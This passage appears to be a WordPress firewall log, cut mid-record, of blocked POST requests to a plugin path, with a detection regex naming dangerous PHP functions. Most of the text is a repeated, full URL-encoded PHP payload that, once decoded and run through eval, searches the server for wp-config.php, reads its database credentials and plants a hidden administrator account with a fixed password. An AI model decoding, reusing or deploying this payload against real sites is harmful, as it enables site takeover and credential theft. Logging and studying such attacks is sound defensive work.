5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12663\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\naReDtp=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 11:25:34","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KFgqXp:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-length:12663\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\n\nKFgqXp=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C